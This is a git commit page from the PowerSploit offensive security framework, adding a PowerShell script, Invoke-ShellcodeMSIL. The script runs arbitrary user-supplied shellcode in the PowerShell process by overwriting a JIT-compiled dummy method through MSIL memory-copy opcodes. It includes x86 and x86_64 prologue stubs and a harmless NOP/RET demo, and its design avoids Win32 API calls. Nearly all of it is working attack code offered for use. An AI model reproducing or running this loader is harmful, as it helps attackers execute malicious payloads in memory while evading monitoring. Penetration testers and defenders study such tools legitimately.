diff options
author | Matt Graeber <mattgraeber@gmail.com> | 2013-04-05 14:06:58 -0400 |
---|---|---|
committer | Matt Graeber <mattgraeber@gmail.com> | 2013-04-05 14:06:58 -0400 |
commit | 014a7bb421477a18add25164d71e977574832c14 (patch) | |
tree | 30f40fa625a3824fa4ef4cebf412e0033dabf8de /CodeExecution/Invoke-ShellcodeMSIL.ps1 | |
parent | 1e79c0f7938159e428e073eddb5e0a7a38701580 (diff) | |
download | PowerSploit-014a7bb421477a18add25164d71e977574832c14.tar.gz PowerSploit-014a7bb421477a18add25164d71e977574832c14.zip |
Adding Invoke-ShellcodeMSIL
Invoke-ShellcodeMSIL executes shellcode without making any Win32
function calls.
Diffstat (limited to 'CodeExecution/Invoke-ShellcodeMSIL.ps1')
-rw-r--r-- | CodeExecution/Invoke-ShellcodeMSIL.ps1 | 270 |
1 files changed, 270 insertions, 0 deletions
diff --git a/CodeExecution/Invoke-ShellcodeMSIL.ps1 b/CodeExecution/Invoke-ShellcodeMSIL.ps1 new file mode 100644 index 0000000..8b70d7c --- /dev/null +++ b/CodeExecution/Invoke-ShellcodeMSIL.ps1 @@ -0,0 +1,270 @@ +function Invoke-ShellcodeMSIL +{ +<# +.SYNOPSIS + + Execute shellcode within the context of the running PowerShell process without making any Win32 function calls. + + PowerSploit Function: Invoke-ShellcodeMSIL + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Invoke-ShellcodeMSIL executes shellcode by using specially crafted MSIL opcodes to overwrite a JITed dummy method. This technique is compelling because unlike Invoke-Shellcode, Invoke-ShellcodeMSIL doesn't call any Win32 functions. + +.PARAMETER Shellcode + + Specifies the shellcode to be executed. + +.EXAMPLE + + C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) + + Description + ----------- + Executes the following instructions - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) + Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! + +.NOTES + + Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash! + + Use the '-Verbose' option to print detailed information. + +.LINK + + http://www.exploit-monday.com +#> + + [CmdletBinding()] Param ( + [Parameter( Mandatory = $True )] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Shellcode + ) + + function Get-MethodAddress + { + [CmdletBinding()] Param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [System.Reflection.MethodInfo] + $MethodInfo + ) + + if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall') + { + Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address." + } + + try { $Type = [MethodLeaker] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined + { + if ([IntPtr]::Size -eq 4) { $ReturnType = [UInt32] } else { $ReturnType = [UInt64] } + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly') + # Assemble in memory + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule') + $TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public) + # Declaration of the LeakMethod method + $MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null) + $Generator = $MethodBuilder.GetILGenerator() + + # Push unmanaged pointer to MethodInfo onto the evaluation stack + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) + + # Assemble everything + $Type = $TypeBuilder.CreateType() + } + + $Method = $Type.GetMethod('LeakMethod') + + try + { + # Call the method and return its JITed address + $Address = $Method.Invoke($null, @()) + + Write-Output (New-Object IntPtr -ArgumentList $Address) + } + catch [System.Management.Automation.MethodInvocationException] + { + Write-Error "$($MethodInfo.Name) cannot return an unmanaged address." + } + } + +#region Define the method that will perform the overwrite + try { $SmasherType = [MethodSmasher] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined + { + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('MethodSmasher') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute + $Constructor = $Att.GetType().GetConstructors()[0] + $ObjectArray = New-Object System.Object[](0) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) + $AssemblyBuilder.SetCustomAttribute($AttribBuilder) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodSmasher') + $ModAtt = New-Object System.Security.UnverifiableCodeAttribute + $Constructor = $ModAtt.GetType().GetConstructors()[0] + $ObjectArray = New-Object System.Object[](0) + $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) + $ModuleBuilder.SetCustomAttribute($ModAttribBuilder) + $TypeBuilder = $ModuleBuilder.DefineType('MethodSmasher', [System.Reflection.TypeAttributes]::Public) + $Params = New-Object System.Type[](3) + $Params[0] = [IntPtr] + $Params[1] = [IntPtr] + $Params[2] = [Int32] + $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $null, $Params) + $Generator = $MethodBuilder.GetILGenerator() + # The following MSIL opcodes are effectively a memcpy + # arg0 = destinationAddr, arg1 = sourceAddr, arg2 = length + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Volatile) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Cpblk) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) + + $SmasherType = $TypeBuilder.CreateType() + } + + $OverwriteMethod = $SmasherType.GetMethod('OverwriteMethod') +#endregion + +#region Define the method that we're going to overwrite + try { $Type = [SmashMe] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined + { + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('SmashMe') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute + $Constructor = $Att.GetType().GetConstructors()[0] + $ObjectArray = New-Object System.Object[](0) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) + $AssemblyBuilder.SetCustomAttribute($AttribBuilder) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SmashMe') + $ModAtt = New-Object System.Security.UnverifiableCodeAttribute + $Constructor = $ModAtt.GetType().GetConstructors()[0] + $ObjectArray = New-Object System.Object[](0) + $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) + $ModuleBuilder.SetCustomAttribute($ModAttribBuilder) + $TypeBuilder = $ModuleBuilder.DefineType('SmashMe', [System.Reflection.TypeAttributes]::Public) + $Params = New-Object System.Type[](1) + $Params[0] = [Int] + $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMe', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [Int], $Params) + $Generator = $MethodBuilder.GetILGenerator() + $XorValue = 0x41424344 + $Generator.DeclareLocal([Int]) | Out-Null + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) + # The following MSIL opcodes serve two purposes: + # 1) Serves as a dummy XOR function to take up space in memory when it gets jitted + # 2) A series of XOR instructions won't be optimized out. This way, I'll be guaranteed to sufficient space for my shellcode. + foreach ($CodeBlock in 1..100) + { + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldloc_0) + $XorValue++ + } + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) + $Type = $TypeBuilder.CreateType() + } + + $TargetMethod = $Type.GetMethod('OverwriteMe') +#endregion + + # Force the target method to be JITed so that is can be cleanly overwritten + Write-Verbose 'Forcing target method to be JITed...' + + foreach ($Exec in 1..20) + { + $TargetMethod.Invoke($null, @(0x11112222)) | Out-Null + } + + if ( [IntPtr]::Size -eq 4 ) + { + # x86 Shellcode stub + $FinalShellcode = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3) + <# + 00000000 60 pushad + 00000001 E804000000 call dword 0xa + 00000006 61 popad + 00000007 31C0 xor eax,eax + 00000009 C3 ret + YOUR SHELLCODE WILL BE PLACED HERE... + #> + + Write-Verbose 'Preparing x86 shellcode...' + } + else + { + # x86_64 shellcode stub + $FinalShellcode = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57, + 0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41, + 0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48, + 0x31,0xC0,0xC3) + <# + 00000000 4154 push r12 + 00000002 4155 push r13 + 00000004 4156 push r14 + 00000006 4157 push r15 + 00000008 55 push rbp + 00000009 E80D000000 call dword 0x1b + 0000000E 5D pop rbp + 0000000F 415F pop r15 + 00000011 415E pop r14 + 00000013 415D pop r13 + 00000015 415C pop r12 + 00000017 4831C0 xor rax,rax + 0000001A C3 ret + YOUR SHELLCODE WILL BE PLACED HERE... + #> + + Write-Verbose 'Preparing x86_64 shellcode...' + } + + # Append user-provided shellcode. + $FinalShellcode += $Shellcode + + # Allocate pinned memory for our shellcode + $ShellcodeAddress = [Runtime.InteropServices.Marshal]::AllocHGlobal($FinalShellcode.Length) + + Write-Verbose "Allocated shellcode at 0x$($ShellcodeAddress.ToString("X$([IntPtr]::Size*2)"))." + + # Copy the original shellcode bytes into the pinned, unmanaged memory. + # Note: this region of memory if marked PAGE_READWRITE + [Runtime.InteropServices.Marshal]::Copy($FinalShellcode, 0, $ShellcodeAddress, $FinalShellcode.Length) + + $TargetMethodAddress = [IntPtr] (Get-MethodAddress $TargetMethod) + + Write-Verbose "Address of the method to be overwritten: 0x$($TargetMethodAddress.ToString("X$([IntPtr]::Size*2)"))" + Write-Verbose 'Overwriting dummy method with the shellcode...' + + $Arguments = New-Object Object[](3) + $Arguments[0] = $TargetMethodAddress + $Arguments[1] = $ShellcodeAddress + $Arguments[2] = $FinalShellcode.Length + + # Overwrite the dummy method with the shellcode opcodes + $OverwriteMethod.Invoke($null, $Arguments) + + Write-Verbose 'Executing shellcode...' + + # 'Invoke' our shellcode >D + $ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222)) + + if ($ShellcodeReturnValue -eq 0) + { + Write-Verbose 'Shellcode executed successfully!' + } +} + +$Shellcode = [Byte[]]@(0x90,0x90,0x90,0x90,0x90,0x90,0xC3) +Invoke-ShellcodeMSIL -Shellcode $Shellcode -Verbose
\ No newline at end of file |